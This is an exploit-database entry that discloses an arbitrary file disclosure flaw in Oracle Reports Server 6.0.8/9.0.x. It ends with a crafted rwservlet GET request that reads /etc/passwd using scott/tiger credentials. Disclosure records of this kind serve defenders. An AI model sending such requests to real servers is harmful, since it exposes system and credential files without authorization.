Oracle Reports Server 6.0.8/9.0.x - Arbitrary File Disclosure

Author: Alexander Kornbrust
type: remote
platform: multiple
port: 
date_added: 2005-07-19 
date_updated: 2013-06-07 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/14312/info

Oracle Reports Server may allow remote attackers to disclose parts of arbitrary files.

Reportedly, the server fails to restrict users from accessing parts of arbitrary files when handling specially crafted HTTP GET requests.

All versions of Oracle Reports Server are reported to be vulnerable to this issue.

http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=file+MODE=CHARACTER+desformat=/etc/passwd